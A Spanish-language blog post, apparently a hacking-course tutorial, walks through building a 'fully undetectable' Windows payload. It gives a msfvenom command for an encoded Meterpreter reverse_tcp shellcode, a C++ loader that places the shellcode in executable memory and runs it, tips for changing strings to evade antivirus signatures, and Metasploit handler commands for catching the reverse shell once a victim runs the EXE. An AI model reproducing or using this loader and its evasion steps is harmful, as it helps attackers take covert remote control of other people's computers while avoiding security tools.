0

PoC: Creando un payload FUD

Difunde No Solo Hacking!

Cuando generamos un Payload, a parte de obtener una sesión en nuestra máquina víctima, también queremos que el antivirus no se percate de nuestra presencia, de lo contrario, el esfuerzo es en vano.

Hemos visto en el curso de Udemy de Hacking con metasploit, hacíamos prácticas de cómo generar un Payload normal y corriente, cómo hacerlo encriptado para ir ganando stealth a medida que íbamos afianzando la técnica, así era más complicado que nos detectaran. Aún así hay algunos AVs que nos detectaban y otros no.

Al final esto es como jugar al gato y al ratón, unas veces ganamos y otras no. Lo importante es tener la metodología clara para las veces que perdemos, replantear la táctica de ataque y poder intentarlo de nuevo.

En este artículo vamos a ver cómo usar otra táctica distinta, para poder infectar a la víctima y tener acceso a su máquina, vía reverse_tcp, generando un payload ecnriptado y compilado.

Para esta prueba de concepto necesitamos:

Empezamos con ello, al meollo!

Lo primero que hay que hacer, es descargar e instalar Visual Studio, community Center a no ser que queráis, pagar por una licencia.

Una vez hecho, nos vamos a Kali y generamos el payload usando un shell encoder, en este caso vamso a usar x86/shikata_ga_nai.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.129 LPORT=8080 -e x86/shikata_ga_nai -i 8 -f c > shell.c

En este comando, le estamos diciendo que use el payload de Meterpreter para Windows, reverse_tcp, con el parámetro -p

Para los parámetros LHOST y LPORT, debéis poner la IP de vuestra máquina atacante, en mi caso 192.168.0.129, que es la que he estado usando continuamente para el curso de HACKING CON METASPLOIT DESDE CERO, y para el parámetro LHOST, el puerto que queráis usar para la conexión, yo en mi caso he usado el 8080, pero vosotros podéis poner 4444, 6000, 2043… el que queráis.

Con el parámetro -e, le he indicado el shell encoder que quiero generar, en esete caso shikata_ga_nai, con -i el numero de interacciones que queremos hacer para encriptarlo, y con -f le indico el tipo de fichero que quiero como salida (c) y le damos un nombre cualquiera.

El resultado del comando es el que véis a continuación y debéis quedaros con el tamano del archivo:

Ahora tenemos que abrir el archivo que hemos generado y quedarnos con la parte entrecomillada para pasarla a Visual Studio. Con vim, podemos ver el contenido del archivo

El siguiente paso es crear un nuevo proyecto en Visual Studio.

Y seleccionamos un proyecto vacío y le damos un nombre.

Añadimos un nuevo item

Y seleccionames el item de tipo “C++ file” y le llamamos “main.cpp”.

Pegamos el siguiente código:

#include <stdio.h>
#include <windows.h>
unsigned const char payload[] = "";
size_t size = 0;
int main(int argc, char** argv) {    char* code;
printf("Prueba de concepto de No Solo Hacking");
code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(code, payload, size);
((void(*)())code)();
return(0);}

Y ahora le metemos nuestra información, es decir el tamaño del archivo que hemos generado y el código de la shell.

Es muy IMPORTANTE que cambiéis el texto a mostrar del printf paa que no sea exactamente igual al mío. Lo siguiente a hacer es darle a release al código y ctrl+b, para que lo compile y nos haga el exe.

Una vez compilado en el output nos aseguramos que no tenga errores

Ahora en Kali o donde tengamos instalado Metasploit Framework, lo abrimos, en mi caso lo tengo en Kali. Corremos el comando:

msfconsole

Y ponemos nuestro Metasploit a escuchar sesiones:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.129
set LPORT 8080
run 

Ya sólo nos queda pasar a la víctima el EXE y que lo ejecute 🙂 el resultado es una sesión interactiva con meterpreter.


Difunde No Solo Hacking!

Carlos Melantuche

Leave a Reply

Your email address will not be published. Required fields are marked *

42 ÷ = 6